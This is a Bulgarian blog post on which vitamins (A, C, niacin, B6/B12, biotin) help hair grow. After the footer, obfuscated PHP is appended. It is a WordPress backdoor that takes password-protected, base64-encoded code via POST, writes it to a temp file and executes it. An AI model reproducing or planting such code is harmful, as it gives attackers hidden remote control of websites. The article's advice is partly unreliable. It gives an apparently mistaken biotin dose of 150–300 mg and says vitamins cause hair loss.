Кои витамини карат косата да расте и да става по- гъста | Косопад

Кои витамини карат косата да расте и да става по- гъста

Тялото се нуждае от витамини и минерали ежедневно, за да е здраво. Много хора смятат, че с храната, която приемат, си набавят необходимите витамини и не си дават сметка, че някое вещество може би им липсва. Не си дават и сметка, че витамините предизвикват оплешивяване и косопад. Допълнителната доза витамини помага на растежа и здравето на косата, въпреки че трябва да минат 2-3 месеца преди да забележите резултатите.

коса

Витамин А

Витамин А е антиоксидант, които стимулират здравословното производство на себум. Храните, богати на него са – месо, зеле, яйца, сирене, спанак, мляко, моркови и праскови. Не надвишавайте препоръчителната доза витамин А, тъй като той се натрупва в тялото и може да причини редица неприятни странични ефекти, сред които и косопад.

Витамин С

витамин с

Източници на витамин С

Друг антиоксидант, който помага на имунната защита. Също помага за здравето на косата и кожата. Цитрусови плодове, ягоди, чушки, ананас, киви, пъпеш, зеленчуци със зелени листа и картофи. Препоръчителната доза е 60 мг на ден.

Ниацин

Също позна като витамин В3, стимулира кръвообръщението на скалпа. Препоръчителната доза е 15 мг. Може и леко да надвишите дозата за още по- силен ефект. Но не надвишавайте 25 мг. Месо, риба, пилешко, пуешко, житен зародиш са някои от храните, богати на ниацин.

Витамин В6 и В12

И двата спират косопада. Също произвеждат меланин, който помага за пигментацията. Маята, зърна, зеленчуци, жълтъци, месо и мляко са някои от богатите на В6 и В12. На ден е препоръчително да приемате 1,6 – 2,0 мг

Биотин

Познат също като витамин Н, е много важен за растежа на косата, тъй като помага за производството на кератин. Биотинът предпазва от побеляване и загуба на косата. Препоръчителната доза е 150 – 300 мг на ден.

20. декември 2013 16:42:10 от Надя Колева
Категории: Любопитно за косопада | Етикети: , , , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}